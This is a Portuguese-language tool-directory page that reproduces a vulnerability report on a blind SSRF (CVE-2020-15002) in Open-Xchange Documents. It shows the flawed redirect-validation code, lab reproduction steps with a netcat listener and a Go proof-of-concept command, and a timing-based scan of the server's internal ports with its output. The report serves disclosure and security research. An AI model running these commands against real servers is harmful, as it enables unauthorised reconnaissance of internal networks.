Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
ReconhecimentoEscaneamento de PortasAnálise de VulnerabilidadesExploraçãoExploração de Aplicações Web
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Ver Repositório
12há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Resumo

A lógica em AddFileAction.getImageDataFromUrl para buscar imagens de URLs externas ao lidar com /appsuite/api/oxodocumentfilter&action=addfile, implementada aqui, valida as URLs redirecionadas somente após seguir todos os redirecionamentos

response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Isso pode ser usado por um atacante para executar ataques de SSRF cego.

Passos para reproduzir

  1. Instale o Open-Xchange e o Documents em uma máquina virtual seguindo os guias https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 e https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. Dentro da VM, execute o seguinte comando para fazer o netcat escutar em 127.0.0.1:7070
    nc -l 127.0.0.1 -p 7070
    
  3. Na máquina host, instale o golang a partir de https://golang.org/dl/
  4. Baixe e extraia o arquivo poc.zip
  5. Abra o terminal / linha de comando e defina o diretório atual para a pasta extraída do poc.zip
  6. Execute o comando
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    onde
    • redirectorAddress: O endereço IP e a porta aos quais o servidor redirecionador deve se vincular. Este endereço IP deve estar acessível a partir da VM
    • targetPorts: Porta dentro da VM onde o netcat está escutando
    • serverRoot: URL base do servidor open-xchange
    • serverUser: Nome de usuário de qualquer usuário no servidor open-xchange
    • serverPass: Senha do usuário no servidor open-xchange

A execução do comando acima exibirá a seguinte saída no netcat

GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Impacto

Como se trata de um SSRF cego, não é possível ler a resposta das requisições HTTP. No entanto, essa vulnerabilidade pode ser usada para reconhecimento.

Exemplo: Varredura de portas medindo o tempo de resposta

Para executar uma varredura de portas nas portas 7070,61616,8004,80,22,25,8080,3125 na rede local do servidor, execute o seguinte comando

go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Saída:

2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Podemos usar o lsof para ver as portas abertas dentro da VM

sudo lsof -nP -iTCP -sTCP:LISTEN

Saída:

COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

Com base nas saídas acima, as seguintes observações podem ser feitas:

  • Como podemos ver para as portas fechadas 7070, 8080 e 3125, os tempos de resposta são baixos (~ menos de 3ms)
  • Para portas abertas, dependendo do tipo de conexão em escuta, o tempo de resposta varia
    • Para ssh (porta 22) o tempo de resposta é de ~34ms
    • Para exim (porta 25) o tempo de resposta é de ~2170ms
    • Para ActiveMQ (porta 61616) o tempo de resposta é de ~3567ms
    • Para http (porta 80 e 8004) o tempo de resposta é de ~3ms (este tipo é difícil de distinguir de portas fechadas)

Portanto, um atacante pode usar essa vulnerabilidade para detectar a maioria das portas abertas e pode usar o tempo de resposta para detectar o tipo de conexão (ssh / exim / activemq etc.)

Baixar ferramenta